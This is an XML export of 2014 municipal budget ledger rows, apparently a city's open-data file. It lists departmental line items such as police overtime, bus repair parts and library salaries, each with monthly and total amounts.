<row _id="9384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="9385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>603731.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>19941</december><january>-14482.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>609190.0</total></row>
<row _id="9386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>94329.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>94329.0</total></row>
<row _id="9387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6241.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6241.0</total></row>
<row _id="9388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566140.0</object><object_description>INVESTIGATION EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>45031.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45031.0</total></row>
<row _id="9389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14198.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14198.0</total></row>
<row _id="9390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511030.0</object><object_description>DIVE PAY</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16362.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16362.0</total></row>
<row _id="9391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16911.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16911.0</total></row>
<row _id="9392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8670.0</july><august>0</august><september>0</september><october>0</october><november>3375.0</november><december>920</december><january>600.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13565.0</total></row>
<row _id="9393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21433.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21433.0</total></row>
<row _id="9394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77314.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77314.0</total></row>
<row _id="9395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>86777.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86777.0</total></row>
<row _id="9396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40356.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40356.0</total></row>
<row _id="9397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588070.0</object><object_description>EDUC &amp; RECREATIONAL EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8887.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8887.0</total></row>
<row _id="9398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5228.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5228.0</total></row>
<row _id="9399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1538.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1538.0</total></row>
<row _id="9400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522625.0</object><object_description>OTHER OPERATING RENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1796.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1796.0</total></row>
<row _id="9401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511972.0</object><object_description>UNIFORM ALLOWANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>115500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>310</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115810.0</total></row>
<row _id="9402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3120.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3120.0</total></row>
<row _id="9403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>226.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>226.0</total></row>
<row _id="9404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544220.0</object><object_description>REPAIR PARTS AND MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1178929.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1178929.0</total></row>
<row _id="9405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>946237.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>11462</december><january>-14.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>957685.0</total></row>
<row _id="9406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="9407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="9408"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>107.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107.0</total></row>
<row _id="9409"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7180.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7180.0</total></row>
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<row _id="9411"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10550.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10550.0</total></row>
<row _id="9412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14010.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14010.0</total></row>
<row _id="9413"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8087.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8087.0</total></row>
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<row _id="9415"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>405500.0</object><object_description>STORMWATER MGMT USER FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1240000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1240000.0</total></row>
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<row _id="9421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1833294.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>23500</december><january>-96.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1856698.0</total></row>
<row _id="9422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>70138.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70138.0</total></row>
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<row _id="9454"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>272402.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>272402.0</total></row>
<row _id="9455"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8500.0</total></row>
<row _id="9456"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>17.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17.0</total></row>
<row _id="9457"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3137.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3137.0</total></row>
<row _id="9458"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>805869.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>375000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1180869.0</total></row>
<row _id="9459"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="9460"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>132000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>132000.0</total></row>
<row _id="9461"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="9462"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>425272.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>6574</december><january>14667.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>446513.0</total></row>
<row _id="9463"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1628.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1628.0</total></row>
<row _id="9464"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>125000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>125000.0</total></row>
<row _id="9465"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544050.0</object><object_description>CEMENT / SAND / GRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="9466"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36593.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36593.0</total></row>
<row _id="9467"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>502762.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>502762.0</total></row>
<row _id="9468"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103918.91</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103918.91</total></row>
<row _id="9469"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10600.0</total></row>
